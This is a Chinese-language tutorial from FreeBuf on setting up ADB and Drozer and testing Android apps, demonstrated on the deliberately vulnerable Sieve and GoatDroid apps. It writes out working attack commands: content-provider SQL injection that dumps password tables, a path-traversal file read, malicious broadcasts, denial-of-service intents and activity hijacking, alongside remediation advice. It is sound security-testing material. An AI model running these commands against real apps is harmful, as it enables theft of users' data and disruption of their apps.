freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Drozer在APP安全中的应用
2022-07-28 18:01:49
所属地 广东省

一、Adb安装

ADB,即 Android Debug Bridge,ADB具有安装卸载apk、拷贝推送文件、查看设备硬件信息、查看应用程序占用资源、在设备执行shell命令等功能,是 Android 开发/测试人员不可替代的强大工具,将常用的 adb 命令熟记于心, 将会为 Android 测试带来很大的方便,其中很多命令将会用于自动化测试的脚本当中。

1.1、Windows

访问:https://developer.android.google.cn/studio/releases/platform-tools1658998389_62e24e75a2153a65d6521.png!small

对下载的压缩文件进行解压

1658998469_62e24ec5b4a950ea38252.png!small

配置环境变量

新建环境变量

adb E:\Security\APP\ADB&Drozer\Platform-Tools

1658998481_62e24ed1bb567c962fffe.png!small

在环境变量path中添加

;%adb%;

1658998488_62e24ed8f240a9a656bf2.png!small

检查adb环境变量是否配置成功

1658998577_62e24f311831be81a7f49.png!small

1.2、Linux

安装:sudo apt-get install adb

1658998584_62e24f383eb1fd71700be.png!small

查看是否安装成功:adb version

1658998591_62e24f3f6d027fe43927e.png!small

二、Drozer安装

drozer是一个全面的安全审计和攻击框架,可以进行更快的Android安全评估,通过自动化繁琐和耗时的工作,帮助减少Android安全评估所花费的时间。其可以分成两个部分:其一是“console”,它运行在本地计算机上;其二是“server”,它是一个安装在目标Android设备上的app,当使用console与Android设备交互时,就是把Java代码输入到运行在实际设备上的drozer代理(agent)中。

2.1、Windows

2.1.1、安装python2

在python官网下载python2版本,在本地进行安装。

1658998627_62e24f635c0fd79792ab5.png!small

环境变量配置

1658998637_62e24f6d203dea8f2c058.png!small

2.1.2、安装依赖

pip2 install wheelpip2 install pyyaml
pip2 install pyhamcrestpip2 install protobuf
pip2 install pyopensslpip2 install twisted
pip2 install sevice_identity 以上为配置好python2环境命令
python2 -m pip install wheelpython2 -m pip install pyyaml
python2 -m pip install pyhamcrestpython2 -m pip install protobuf
python2 -m pip install pyopensslpython2 -m pip install twisted
python2 -m pip install service_identity以上为未配置python2环境命令

2.1.3、安装drozer

下载安装包和安装代理文件,https://labs.withsecure.com/tools/drozer/,如图所示

1658998789_62e2500543c21778ef6a4.png!small

然后进行安装,将python3环境禁止掉,设置为python2环境,如图所示

1658998810_62e2501aec7619c743078.png!small

安装后的文件目录为D:\CodeLanguage\python2\Scripts

1658998819_62e2502366b2047efc90e.png!small

和D:\CodeLanguage\python2\Lib\site-packages

1658998826_62e2502a63981984c3e50.png!small

2.1.4、修改drozer启动文件

备注:由于安装的为python2环境,因此一定要将drozer.bat里面的python.exe改为python2.exe,否则无法运行drozer,直接点击drozer.bat,会出现“已退出进程,代码为 9009 (0x00002331)”错误

1658998839_62e25037d48d4c45c629f.png!small

2.1.5、连接drozer代理

将代理drozer-agent-2.3.4.apk在夜神模拟器中进行安装,并打开进行监听,等待连接

1658998858_62e2504a51a270e40c798.png!small

adb连接drozer

adb connect 127.0.0.1:62001
adb forward tcp:31415 tcp:31415

1658998870_62e250561a50e9dae38a0.png!small

Drozer连接代理端
进入drozer启动文件drozer.bat的目录下

drozer.bat console connect

1658998877_62e2505d62eab45559bc5.png!small

2.2、Linux

2.2.1、下载drozer

wget https://github.com/FSecureLABS/drozer/releases/download/2.4.4/drozer-2.4.4-py2-none-any.whl

1658998892_62e2506ce0c463b00a6b7.png!small

2.2.2、安装python2的pip

下载get-pip.py:

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

1658998913_62e25081cd3b84faecc7f.png!small

安装get-pip.py:

python2 get-pip.py

1658998918_62e25086e0cbbf0d57dac.png!small

2.2.3、安装依赖

参考2.1.2

2.2.4、安装drozer

python2 -m pip install drozer-2.4.4-py2-none-any.whl

1658998932_62e25094a03850439649a.png!small

三、Drozer使用

可以使用help命令查看drozer更多的操作方法

1658999012_62e250e488acae97c5a9d.png!small

3.1、查看应用信息

查找终端设备所有APK信息:

run app.package.list

如图所示,在Windows下如果出现apk信息显示不完全的情况,可以通过adb命令来获取终端设备所安装应用的apk信息

1658999031_62e250f76f011f4408c07.png!small

获得终端shell:adb shell
列出所有安装应用的包名:pm list package

1658999046_62e25106266705b07e55d.png!small

获取所要测试的apk的完整包名:

run app.package.list -f 包名

1658999067_62e2511b10b3a682d92a7.png!small

获取包的基本信息:

run app.package.info -a 包名

1658999073_62e25121d215290289ecd.png!small

3.2、查看攻击面

run app.package.attacksurface 包名

可看到应用四大组件是否可导出和是否处于调试模式

1658999085_62e2512d40e7b5b082cd5.png!small

3.3、四大组件测试

测试Apk文件下载
https://github.com/downloads/jackMannino/OWASP-GoatDroid-Project/OWASP-GoatDroid-0.9.zip (goatdroid.apk)
https://labs.withsecure.com/tools/drozer/ (sieve)

3.3.1、Activity组件漏洞测试

应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。
查看全部对外暴露的activity组件信息

run app.activity.info -a 包名

1658999119_62e2514f53f2240d30ab7.png!small

com.mwr.example.sieve.MainLoginActivity是sieve.apk的启动的主界面,是必须可导出的,但剩下的两个是不应该能导出的。

3.3.1.1、Activity组件调用

对三个activity分别调用

run app.activity.start --component 包名 组件名

调用登录组件名,相关应用会弹出被导出的页面。如这里调用登录页,就会弹出应用登录页。

1658999141_62e2516501be4efc9e4a2.png!small

1658999149_62e2516d751fff72e0ce2.png!small

调用这里的密码页面,就会出现密码页

1658999159_62e251778b27f07914622.png!small

3.3.1.2、Activity越权漏洞

调用这里的文件选择页面,如图所示

1658999174_62e25186298df4d2eab43.png!small

由此可以看出,PWList和FileSelectActivity是直接绕过了MainLoginActivity,可以直接启动的,说明存在acitivty的越权漏洞。

3.3.1.3、Activity劫持

打开应用登录页,使用activity劫持工具进行测试,如果登录页被测试工具所覆盖,就说明activity可以被劫持
(工具地址:https://github.com/yanghaoi/android_app

1658999188_62e251940bdd38568396a.png!small

run app.activity.start --component com.test.uihijack com.test.uihijack.MainActivity

1658999218_62e251b29cc4a6e1ab06c.png!small

解决建议:
1、app内使用的私有acivity不应配置intent-filter,如果配置了intent-filter需设置exposed属性为false;
2、谨慎处理接受的intent以及其携带的信息,当acivity返回数据时需注意目标activity是否有泄露信息的风险;
适当地在 APP 中给用户一些警示信息,如toast提示.“某某app正在后台运行(参考:https://blog.51cto.com/u_14397532/3000941);

3.3.2、Content Provider组件漏洞测试

android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。
查看Content Provider组件信息

run app.provider.info -a 包名

1658999237_62e251c53f3c39fae2796.png!small

3.3.2.1、数据泄露

获取所有可以访问的uri:

run scanner.provider.finduris -a 包名

可以看出, 对DBContentProvider 内容提供器的访问,除了/Keys 路径需要权限,其他都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么我们就可以从中获取敏感数据。

1658999246_62e251ce59505cb45809a.png!small

3.3.2.2、敏感数据读取

获取各个Uri的数据

run app.provider.query uri的路径

1658999259_62e251db27fce4cb253fb.png!small

1658999267_62e251e36dc29bd98a1d3.png!small

3.3.2.3、SQL注入

检测可利用uri,检查sql注入

run scanner.provider.injection -a 包名

1658999274_62e251eac8d6fb4301c1c.png!small

利用暴露的content provider进行sql注入,使用Sql注入列出数据库中的所有数据表

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- "

1658999290_62e251fabfbe76a558a63.png!small

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from key;--"

1658999297_62e25201c4126522d9a0f.png!small

3.3.2.4、目录(文件)遍历

从File System-backed Content Providers获取信息
检测目录遍历

run scanner.provider.traversal -a 包名

1658999305_62e25209b953eec61cbb2.png!small

3.3.2.5、读取/下载文件

读取目录文件内容

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

1658999319_62e2521750418cb81bac4.png!small

下载文件

1658999328_62e25220eb6b2a564a40e.png!small

3.3.3、Broadcast组件测试

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。

获取broadcast组件的信息

run app.broadcast.info -a 包名

1658999338_62e2522aa928e984ec179.png!small

反编译,查看源码,发现需要两个参数 phoneNumber、message

1658999344_62e25230671625067fad0.png!small

3.3.3.1、发送恶意广播

run app.broadcast.send --action 广播名 --extra string 参数

反编译apk,查看AndroidManifest.xml 文件,获取广播名

1658999356_62e2523c839e5596e5b48.png!small

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog

1658999531_62e252ebafeae41711d9e.png!small

3.3.3.2、拒绝服务攻击

向广播组件发送不完整intent,使用空 extras,可以看到应用停止运行。

run app.broadcast.send --action 广播名

1658999383_62e25257a709921ea750e.png!small

3.3.4、services组件测试

一个Service是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。
然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service一直执行,直到这个service运行结束。
另外,我们还可以通过使用Context.bindService()方法,连接到一个service上(如果这个service 还没有运行将启动它)。当连接到一个service之后,我们还可以service提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的。

查看service组件的信息:run app.service.info -a 包名

1658999550_62e252feed5a5137a06ba.png!small

调用服务组件

run app.service.start --action 服务名 --component 包名 服务名
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

3.3.5、组件安全问题修复

当组件为私有组件时,建议设置android:exported的值为 false;当组件为公有组件时,建议对其进行权限控制。

四、真机连接测试

通过数据线将手机和电脑进行连接,自行选择连接虚拟机还是物理机。
这里以虚拟机为例,将手机连接到kali虚拟机

1658999578_62e2531a7f7a96b12b96b.png!small

在手机设置的“关于手机”里,连续点击“版本号”进入“开发者模式”
在“开发者模式”里面打开“USB调试”

1658999587_62e25323cbf2be7443351.png!small

将“USB连接方式”改为“传输文件”

1658999594_62e2532a1cdbf7bd4f82a.png!small

查看设备是否成功连接

1658999604_62e25334be0d15303261c.png!small

在手机上安装drozer代理,并打开进入到等待连接状态

1658999610_62e2533adb0bab02a8327.png!small

端口转发

1658999618_62e2534299e844331f006.png!small

启动drozer

1658999626_62e2534a2cff374bc458e.png!small

查看应用信息

1658999641_62e25359764539091d35b.png!small

五、常用测试命令

5.1、Drozer命令

命令 用途
run app.package.list -f 包名获取设备所安装应用包名
run app.package.info -f 包名查看app的基本信息
run app.package.attacksurface 包名查看app可能存在的风险
run app.activity.info -a 包名查看activity信息
run app.activity.start --component 包名 activity组件名调用activity组件
run app.provider.info -a 包名查看content provider信息
run scanner.provider.finduris -a 包名查看可以访问的uri
run app.provider.query uri查看uri的数据
run scanner.provider.injection -a 包名查看是否存在SQL注入
run scanner.provider.traversal -a 包名查看是否存在目录遍历
run app.service.info -a 包名查看service信息
run app.broadcast.info -a 包名查看brocast receive信息

run app.broadcast.send --component 包名 receivename --action android.intent.action.XXX
存在action和extras
run app.broadcast.send --component 包名 receivename空action
run app.broadcast.send --action android.intent.action.XXX空extras

5.2、Adb命令

命令用途
adb install apk_name.apk安装apk软件包
adb install -r apk_name.apk升级安装apk软件包(覆盖安装)
adb uninstall apk_name.apk卸载apk软件包
adb shell am monitor监控打开应用的包名
adb push local_dir divice_dir将本地文件推送到设备
adb pull divice_dir local_dir将设备文件拉取到本地(无法拉取时,可将文件先转移到/sdcard中再拉取)
adb logcat打印实时adb
adb logcat > log.txt保存adb日志到文件
adb shell dumpsys package package_name查看指定应用的详细信息
adb shell dumpsys activity top查看当前应用的activity信息
adb shell screencap -p device_dir/screen.png手机截屏
adb shell screenrecord device_dir/screen.mp4手机录屏
adb forward tcp:31415 tcp:31415端口转发
adb devices列出所有设备
adb start-server开启adb server
adb kill-server关闭adb server
adb shell pm list package获取所有包名(第三方包+内置)
adb shell pm list package -3获取第三方包名
adb shell进入交互式shell


# 渗透测试 # 渗透测试工具 # app安全 # adb # drozer
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录